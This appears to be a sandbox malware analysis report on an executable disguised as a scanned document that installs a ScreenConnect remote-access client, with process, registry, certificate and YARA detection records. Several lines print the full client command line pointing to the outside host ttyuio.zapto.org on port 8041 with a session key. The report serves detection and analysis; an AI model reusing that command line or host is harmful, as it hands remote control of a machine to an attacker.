Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q57rwjaz.ogc\qe1vaw8h.r8n\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\screenconnect.clientservice.exe" "?e=support&y=guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q57rwjaz.ogc\qe1vaw8h.r8n\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\screenconnect.clientservice.exe" "?e=support&y=guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\q57rwjaz.ogc\qe1vaw8h.r8n\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\screenconnect.clientservice.exe" "?e=support&y=guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&r=&i=untitled%20session" "1" Jump to behavior
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Progman
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831BD4 cpuid 0_2_00831BD4
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsBackstageShell.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsFileManager.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsClient.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsFileManager.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF848F43642 CreateNamedPipeW, 13_2_00007FF848F43642
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00831806
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.5.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: MsMpEng.exe
Adds / modifies Windows certificates
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Yara detected ScreenConnect Tool
Source: Yara match File source: 10.0.ScreenConnect.WindowsClient.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2285819740.000000001BC56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2784738148.00000227081F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.2273256028.0000000000FF2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2284680562.00000000033A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: dfsvc.exe PID: 1196, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7664, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 7700, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
